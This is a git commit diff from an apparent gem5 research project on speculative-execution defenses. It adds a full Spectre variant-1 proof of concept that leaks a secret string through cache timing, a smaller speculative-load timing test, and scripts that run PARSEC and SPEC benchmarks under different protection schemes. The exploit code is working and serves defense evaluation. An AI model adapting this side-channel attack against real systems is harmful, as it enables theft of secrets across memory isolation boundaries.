summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--attack_code/spectre_full.c155
-rw-r--r--attack_code/spectre_rdtscp.c77
-rwxr-xr-xexp_script/run_parsec_from_ckpt.sh68
-rwxr-xr-xexp_script/run_spec_from_ckpt.sh241
4 files changed, 541 insertions, 0 deletions
diff --git a/attack_code/spectre_full.c b/attack_code/spectre_full.c
new file mode 100644
index 000000000..463e60d32
--- /dev/null
+++ b/attack_code/spectre_full.c
@@ -0,0 +1,155 @@
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#ifdef _MSC_VER
+#include <intrin.h> /* for rdtscp and clflush */
+
+#pragma optimize("gt",on)
+#else
+#include <x86intrin.h> /* for rdtscp and clflush */
+
+#endif
+
+/********************************************************************
+Victim code.
+********************************************************************/
+unsigned int array1_size = 16;
+uint8_t unused1[64];
+uint8_t array1[160] = {
+ 1,
+ 2,
+ 3,
+ 4,
+ 5,
+ 6,
+ 7,
+ 8,
+ 9,
+ 10,
+ 11,
+ 12,
+ 13,
+ 14,
+ 15,
+ 16
+};
+uint8_t unused2[64];
+uint8_t array2[256 * 512];
+
+char * secret = "The Magic Words are Squeamish Ossifrage.";
+
+uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
+
+void victim_function(size_t x) {
+ if (x < array1_size) {
+ temp &= array2[array1[x] * 512];
+ }
+}
+
+/********************************************************************
+Analysis code
+********************************************************************/
+#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
+
+/* Report best guess in value[0] and runner-up in value[1] */
+void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
+ static int results[256];
+ int tries, i, j, k, mix_i, junk = 0;
+ size_t training_x, x;
+ register uint64_t time1, time2;
+ volatile uint8_t * addr;
+
+ for (i = 0; i < 256; i++)
+ results[i] = 0;
+ for (tries = 999; tries > 0; tries--) {
+
+ /* Flush array2[256*(0..255)] from cache */
+ for (i = 0; i < 256; i++)
+ /* intrinsic for clflush instruction */
+ _mm_clflush( & array2[i * 512]);
+
+ /* 30 loops: 5 training runs (x=training_x) */
+ /* per attack run (x=malicious_x) */
+ training_x = tries % array1_size;
+ for (j = 29; j >= 0; j--) {
+ _mm_clflush( & array1_size);
+ for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
+
+ /* Bit twiddling to set x=training_x */
+ /* if j%6!=0 or malicious_x if j%6==0 */
+ /* Avoid jumps in case those tip off the branch predictor */
+ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
+ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
+ x = training_x ^ (x & (malicious_x ^ training_x));
+
+ /* Call the victim! */
+ victim_function(x);
+
+ }
+
+ /* Time reads. Order is lightly mixed up to prevent stride prediction */
+ for (i = 0; i < 256; i++) {
+ mix_i = ((i * 167) + 13) & 255;
+ addr = & array2[mix_i * 512];
+ time1 = __rdtscp( & junk); /* READ TIMER */
+ time1 = __rdtscp( & junk); /* READ TIMER */
+ junk = * addr; /* MEMORY ACCESS TO TIME */
+ /* READ TIMER & COMPUTE ELAPSED TIME */
+ time2 = __rdtscp( & junk) - time1;
+ /* READ TIMER & COMPUTE ELAPSED TIME */
+ time2 = __rdtscp( & junk) - time1;
+ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
+ results[mix_i]++; /* cache hit - add +1 to score for this value */
+ }
+
+ /* Locate highest & second-highest results results tallies in j/k */
+ j = k = -1;
+ for (i = 0; i < 256; i++) {
+ if (j < 0 || results[i] >= results[j]) {
+ k = j;
+ j = i;
+ } else if (k < 0 || results[i] >= results[k]) {
+ k = i;
+ }
+ }
+ if (results[j] >= (2 * results[k] + 5)
+ || (results[j] == 2 && results[k] == 0))
+ break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
+ }
+ results[0] ^= junk; /* use junk so code above won’t get optimized out*/
+ value[0] = (uint8_t) j;
+ score[0] = results[j];
+ value[1] = (uint8_t) k;
+ score[1] = results[k];
+}
+
+int main(int argc,
+ const char * * argv) {
+ /* default for malicious_x */
+ size_t malicious_x = (size_t)(secret - (char * ) array1);
+
+ int i, score[2], len = 40;
+ uint8_t value[2];
+
+ for (i = 0; i < sizeof(array2); i++)
+ array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
+ if (argc == 3) {
+ sscanf(argv[1], "%p", (void * * )( & malicious_x));
+ malicious_x -= (size_t) array1; /* Convert input value into a pointer */
+ sscanf(argv[2], "%d", & len);
+ }
+
+ printf("Reading %d bytes:\n", len);
+ while (--len >= 0) {
+ printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
+ readMemoryByte(malicious_x++, value, score);
+ printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
+ printf("0x%02X=’%c’ score=%d ", value[0],
+ (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+ if (score[1] > 0)
+ printf("(second best: 0x%02X score=%d)", value[1], score[1]);
+ printf("\n");
+ }
+ return (0);
+}
diff --git a/attack_code/spectre_rdtscp.c b/attack_code/spectre_rdtscp.c
new file mode 100644
index 000000000..f4700d2cd
--- /dev/null
+++ b/attack_code/spectre_rdtscp.c
@@ -0,0 +1,77 @@
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <x86intrin.h> /* for rdtscp and clflush */
+
+/********************************************************************
+Victim code.
+********************************************************************/
+unsigned int array1_size = 16;
+uint8_t unused1[64];
+uint8_t array1[640] = {};
+
+uint8_t temp;
+
+void victim_function(size_t x) {
+ if (x < array1_size) {
+ temp &= array1[x];
+ }
+}
+
+/********************************************************************
+Analysis code
+********************************************************************/
+
+size_t malicious_x = 128;//index to array1
+#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
+
+/* Report best guess in value[0] and runner-up in value[1] */
+void testSpec(size_t fetch_index) {
+ int tries, i, j, k, mix_i, junk = 0;
+ register uint64_t time1, time2;
+ volatile uint8_t * addr;
+
+ for (tries = 20; tries > 0; tries--) {
+
+ _mm_clflush( & array1_size); //make branch resolved sloowly
+ _mm_clflush( array1+malicious_x ); //flush out-of-boundary address
+ _mm_clflush( array1+fetch_index ); //flush within-boundary address
+
+ for (volatile int z = 0; z < 1000; z++) {} /* Delay (can also mfence) */
+
+ /*fetch one element in the array*/
+ victim_function(fetch_index);
+
+
+ for (volatile int z = 0; z < 1000; z++) {} /* Delay (can also mfence) */
+
+ time1 = __rdtscp( &junk );
+ time1 = __rdtscp( &junk );
+
+ addr = array1 + malicious_x;
+ junk = * addr; // MEMORY ACCESS TO TIME
+
+ time2 = __rdtscp( &junk ) - time1; // READ TIMER & COMPUTE ELAPSED TIME
+ time2 = __rdtscp( &junk ) - time1; // READ TIMER & COMPUTE ELAPSED TIME
+
+
+ printf("time = %ld\n", time2);
+ }
+}
+
+
+
+int main(int argc, const char * * argv) {
+
+ printf("malicious_x = %p... ", (void * ) malicious_x);
+
+ printf("fetch 0th element, \nno misprediction, \nsuppose to see miss + no squash\n");
+ testSpec(0);
+
+ printf("fetch malicious_x, \nmispredict with speculative load, \nsuppose to see hit + squash\n");
+ testSpec(malicious_x);
+
+ printf("fetch malicious_x * 2, \nmispredict with speculative load different address, \nsuppose to see miss + squash\n");
+ testSpec(malicious_x*2);
+ return (0);
+}
diff --git a/exp_script/run_parsec_from_ckpt.sh b/exp_script/run_parsec_from_ckpt.sh
new file mode 100755
index 000000000..0b60ef4d9
--- /dev/null
+++ b/exp_script/run_parsec_from_ckpt.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+
+# PARSEC benchmarks
+
+#Need to export GEM5_PATH
+if [ -z ${GEM5_PATH+x} ];
+then
+ echo "GEM5_PATH is unset";
+ exit
+else
+ echo "GEM5_PATH is set to '$GEM5_PATH'";
+fi
+
+
+#Need to export M5_PATH
+if [ -z ${M5_PATH+x} ];
+then
+ echo "M5_PATH is unset. M5_PATH is the path the full disk image.";
+ exit
+else
+ echo "M5_PATH is set to '$M5_PATH'";
+fi
+
+
+WORKLOAD=blackscholes
+INPUT_SIZE=test
+#simmedium
+SCHEME=FuturisticSafeInvisibleSpec
+#FuturisticSafeFence
+CORE_NUM=4
+ISA=arm
+
+
+CKPT_OUT_DIR=$GEM5_PATH/../gem5_ckpt/$WORKLOAD-$CORE_NUM-$INPUT_SIZE-$ISA
+OUT_DIR=$GEM5_PATH/output/$WORKLOAD-$CORE_NUM-$INPUT_SIZE-$ISA-$SCHEME
+
+CONFIG_FILE=$GEM5_PATH/configs/example/fs.py
+
+echo "scirpt file: " $SCRIPT_FILE
+echo "checkpoint direcotory: " $CKPT_OUT_DIR
+echo "output directory: " $OUT_DIR
+
+echo "clean up old files"
+if [ -d "$OUT_DIR" ]
+then
+ rm -r $OUT_DIR
+fi
+
+echo "create output directory"
+mkdir -p $OUT_DIR
+
+ echo "run arm simulator"
+ # always use opt to test simulator locally, otherwise messages may not print
+ $GEM5_PATH/build/ARM_MESI_Two_Level/gem5.opt \
+ --outdir=$OUT_DIR $CONFIG_FILE \
+ --checkpoint-dir=$CKPT_OUT_DIR \
+ --script=$SCRIPT_FILE \
+ --machine-type=VExpress_EMM64 \
+ --kernel=$M5_PATH/binaries/vmlinux.aarch64.20140821 \
+ --dtb-file=$M5_PATH/binaries/vexpress.aarch64.20140821.dtb \
+ --disk-image=$M5_PATH/disks/aarch64-ubuntu-trusty-headless.img \
+ --num-cpus=$CORE_NUM --mem-size=2GB --num-l2caches=$CORE_NUM \
+ --num-dirs=$CORE_NUM --network=simple --topology=Mesh_XY --mesh-rows=4 \
+ --l1d_assoc=8 --l2_assoc=16 --l1i_assoc=4 \
+ --checkpoint-restore=1 --ruby --cpu-type=DerivO3CPU \
+ --needsTSO=0 --scheme=$SCHEME &> $OUT_DIR/log.txt &
+
+
diff --git a/exp_script/run_spec_from_ckpt.sh b/exp_script/run_spec_from_ckpt.sh
new file mode 100755
index 000000000..dcb40da36
--- /dev/null
+++ b/exp_script/run_spec_from_ckpt.sh
@@ -0,0 +1,241 @@
+#!/bin/bash
+
+############ DIRECTORY VARIABLES: MODIFY ACCORDINGLY #############
+#Need to export GEM5_PATH
+if [ -z ${GEM5_PATH+x} ];
+then
+ echo "GEM5_PATH is unset";
+ exit
+else
+ echo "GEM5_PATH is set to '$GEM5_PATH'";
+fi
+
+
+#Need to export SPEC_PATH
+# [mengjia] on my desktop, it is /home/mengjia/workspace/benchmarks/cpu2006
+if [ -z ${SPEC_PATH+x} ];
+then
+ echo "SPEC_PATH is unset";
+ exit
+else
+ echo "SPEC_PATH is set to '$SPEC_PATH'";
+fi
+
+##################################################################
+
+ARGC=$# # Get number of arguments excluding arg0 (the script itself). Check for help message condition.
+if [[ "$ARGC" != 2 ]]; then # Bad number of arguments.
+ echo "run_gem5_alpha_spec06_benchmark.sh Copyright (C) 2014 Mark Gottscho"
+ echo "This program comes with ABSOLUTELY NO WARRANTY; for details see <http://www.gnu.org/licenses/>."
+ echo "This is free software, and you are welcome to redistribute it under certain conditions; see <http://www.gnu.org/licenses/> for details."
+ echo ""
+ echo "Author: Mark Gottscho"
+ echo "mgottscho@ucla.edu"
+ echo ""
+ echo "This script runs a single gem5 simulation of a single SPEC CPU2006 benchmark for Alpha ISA."
+ echo ""
+ echo "USAGE: run_gem5_alpha_spec06_benchmark.sh <BENCHMARK> <SCHEME>"
+ echo "EXAMPLE: ./run_gem5_alpha_spec06_benchmark.sh bzip2 UnsafeBaseline"
+ echo ""
+ echo "A single --help help or -h argument will bring this message back."
+ exit
+fi
+
+# Get command line input. We will need to check these.
+BENCHMARK=$1 # Benchmark name, e.g. bzip2
+SCHEME=$2
+######################### BENCHMARK CODENAMES ####################
+PERLBENCH_CODE=400.perlbench
+BZIP2_CODE=401.bzip2
+GCC_CODE=403.gcc
+BWAVES_CODE=410.bwaves
+GAMESS_CODE=416.gamess
+MCF_CODE=429.mcf
+MILC_CODE=433.milc
+ZEUSMP_CODE=434.zeusmp
+GROMACS_CODE=435.gromacs
+CACTUSADM_CODE=436.cactusADM
+LESLIE3D_CODE=437.leslie3d
+NAMD_CODE=444.namd
+GOBMK_CODE=445.gobmk
+DEALII_CODE=447.dealII
+SOPLEX_CODE=450.soplex
+POVRAY_CODE=453.povray
+CALCULIX_CODE=454.calculix
+HMMER_CODE=456.hmmer
+SJENG_CODE=458.sjeng
+GEMSFDTD_CODE=459.GemsFDTD
+LIBQUANTUM_CODE=462.libquantum
+H264REF_CODE=464.h264ref
+TONTO_CODE=465.tonto
+LBM_CODE=470.lbm
+OMNETPP_CODE=471.omnetpp
+ASTAR_CODE=473.astar
+WRF_CODE=481.wrf
+SPHINX3_CODE=482.sphinx3
+XALANCBMK_CODE=483.xalancbmk
+SPECRAND_INT_CODE=998.specrand
+SPECRAND_FLOAT_CODE=999.specrand
+##################################################################
+
+# Check BENCHMARK input
+#################### BENCHMARK CODE MAPPING ######################
+BENCHMARK_CODE="none"
+
+if [[ "$BENCHMARK" == "perlbench" ]]; then
+ BENCHMARK_CODE=$PERLBENCH_CODE
+fi
+if [[ "$BENCHMARK" == "bzip2" ]]; then
+ BENCHMARK_CODE=$BZIP2_CODE
+fi
+if [[ "$BENCHMARK" == "gcc" ]]; then
+ BENCHMARK_CODE=$GCC_CODE
+fi
+if [[ "$BENCHMARK" == "bwaves" ]]; then
+ BENCHMARK_CODE=$BWAVES_CODE
+fi
+if [[ "$BENCHMARK" == "gamess" ]]; then
+ BENCHMARK_CODE=$GAMESS_CODE
+fi
+if [[ "$BENCHMARK" == "mcf" ]]; then
+ BENCHMARK_CODE=$MCF_CODE
+fi
+if [[ "$BENCHMARK" == "milc" ]]; then
+ BENCHMARK_CODE=$MILC_CODE
+fi
+if [[ "$BENCHMARK" == "zeusmp" ]]; then
+ BENCHMARK_CODE=$ZEUSMP_CODE
+fi
+if [[ "$BENCHMARK" == "gromacs" ]]; then
+ BENCHMARK_CODE=$GROMACS_CODE
+fi
+if [[ "$BENCHMARK" == "cactusADM" ]]; then
+ BENCHMARK_CODE=$CACTUSADM_CODE
+fi
+if [[ "$BENCHMARK" == "leslie3d" ]]; then
+ BENCHMARK_CODE=$LESLIE3D_CODE
+fi
+if [[ "$BENCHMARK" == "namd" ]]; then
+ BENCHMARK_CODE=$NAMD_CODE
+fi
+if [[ "$BENCHMARK" == "gobmk" ]]; then
+ BENCHMARK_CODE=$GOBMK_CODE
+fi
+if [[ "$BENCHMARK" == "dealII" ]]; then # DOES NOT WORK
+ BENCHMARK_CODE=$DEALII_CODE
+fi
+if [[ "$BENCHMARK" == "soplex" ]]; then
+ BENCHMARK_CODE=$SOPLEX_CODE
+fi
+if [[ "$BENCHMARK" == "povray" ]]; then
+ BENCHMARK_CODE=$POVRAY_CODE
+fi
+if [[ "$BENCHMARK" == "calculix" ]]; then
+ BENCHMARK_CODE=$CALCULIX_CODE
+fi
+if [[ "$BENCHMARK" == "hmmer" ]]; then
+ BENCHMARK_CODE=$HMMER_CODE
+fi
+if [[ "$BENCHMARK" == "sjeng" ]]; then
+ BENCHMARK_CODE=$SJENG_CODE
+fi
+if [[ "$BENCHMARK" == "GemsFDTD" ]]; then
+ BENCHMARK_CODE=$GEMSFDTD_CODE
+fi
+if [[ "$BENCHMARK" == "libquantum" ]]; then
+ BENCHMARK_CODE=$LIBQUANTUM_CODE
+fi
+if [[ "$BENCHMARK" == "h264ref" ]]; then
+ BENCHMARK_CODE=$H264REF_CODE
+fi
+if [[ "$BENCHMARK" == "tonto" ]]; then
+ BENCHMARK_CODE=$TONTO_CODE
+fi
+if [[ "$BENCHMARK" == "lbm" ]]; then
+ BENCHMARK_CODE=$LBM_CODE
+fi
+if [[ "$BENCHMARK" == "omnetpp" ]]; then
+ BENCHMARK_CODE=$OMNETPP_CODE
+fi
+if [[ "$BENCHMARK" == "astar" ]]; then
+ BENCHMARK_CODE=$ASTAR_CODE
+fi
+if [[ "$BENCHMARK" == "wrf" ]]; then
+ BENCHMARK_CODE=$WRF_CODE
+fi
+if [[ "$BENCHMARK" == "sphinx3" ]]; then
+ BENCHMARK_CODE=$SPHINX3_CODE
+fi
+if [[ "$BENCHMARK" == "xalancbmk" ]]; then # DOES NOT WORK
+ BENCHMARK_CODE=$XALANCBMK_CODE
+fi
+if [[ "$BENCHMARK" == "specrand_i" ]]; then
+ BENCHMARK_CODE=$SPECRAND_INT_CODE
+fi
+if [[ "$BENCHMARK" == "specrand_f" ]]; then
+ BENCHMARK_CODE=$SPECRAND_FLOAT_CODE
+fi
+
+# Sanity check
+if [[ "$BENCHMARK_CODE" == "none" ]]; then
+ echo "Input benchmark selection $BENCHMARK did not match any known SPEC CPU2006 benchmarks! Exiting."
+ exit 1
+fi
+##################################################################
+
+OUTPUT_DIR=$GEM5_PATH/output/SPEC-$BENCHMARK-$SCHEME
+CKPT_OUT_DIR=$GEM5_PATH/../gem5_ckpt/$BENCHMARK-1-ref-x86
+
+echo "checkpoint direcotory: " $CKPT_OUT_DIR
+echo "output directory: " $OUTPUT_DIR
+
+if [ -d "$OUTPUT_DIR" ]
+then
+ rm -r $OUTPUT_DIR
+fi
+mkdir -p $OUTPUT_DIR
+
+RUN_DIR=$SPEC_PATH/benchspec/CPU2006/$BENCHMARK_CODE/run/run_base_ref_x86_64.0000
+#run_base_ref\_my-alpha.0000
+# Run directory for the selected SPEC benchmark
+SCRIPT_OUT=$OUTPUT_DIR/runscript.log
+# File log for this script's stdout henceforth
+
+################## REPORT SCRIPT CONFIGURATION ###################
+
+echo "Command line:" | tee $SCRIPT_OUT
+echo "$0 $*" | tee -a $SCRIPT_OUT
+echo "================= Hardcoded directories ==================" | tee -a $SCRIPT_OUT
+echo "GEM5_PATH: $GEM5_PATH" | tee -a $SCRIPT_OUT
+echo "SPEC_PATH: $SPEC_PATH" | tee -a $SCRIPT_OUT
+echo "==================== Script inputs =======================" | tee -a $SCRIPT_OUT
+echo "BENCHMARK: $BENCHMARK" | tee -a $SCRIPT_OUT
+echo "OUTPUT_DIR: $OUTPUT_DIR" | tee -a $SCRIPT_OUT
+echo "==========================================================" | tee -a $SCRIPT_OUT
+##################################################################
+
+
+#################### LAUNCH GEM5 SIMULATION ######################
+echo ""
+echo "Changing to SPEC benchmark runtime directory: $RUN_DIR" | tee -a $SCRIPT_OUT
+cd $RUN_DIR
+
+echo "" | tee -a $SCRIPT_OUT
+echo "" | tee -a $SCRIPT_OUT
+echo "--------- Here goes nothing! Starting gem5! ------------" | tee -a $SCRIPT_OUT
+echo "" | tee -a $SCRIPT_OUT
+echo "" | tee -a $SCRIPT_OUT
+
+# Actually launch gem5!
+$GEM5_PATH/build/X86_MESI_Two_Level/gem5.fast \
+ --outdir=$OUTPUT_DIR $GEM5_PATH/configs/example/spec06_config.py \
+ --benchmark=$BENCHMARK --benchmark_stdout=$OUTPUT_DIR/$BENCHMARK.out \
+ --benchmark_stderr=$OUTPUT_DIR/$BENCHMARK.err \
+ --num-cpus=1 --mem-size=4GB \
+ --checkpoint-dir=$CKPT_OUT_DIR \
+ --checkpoint-restore=10000000000 --at-instruction \
+ --l1d_assoc=8 --l2_assoc=16 --l1i_assoc=4 \
+ --cpu-type=DerivO3CPU --needsTSO=0 --scheme=$SCHEME \
+ --num-dirs=1 --ruby --maxinsts=2000000000 \
+ --network=simple --topology=Mesh_XY --mesh-rows=1 | tee -a $SCRIPT_OUT
+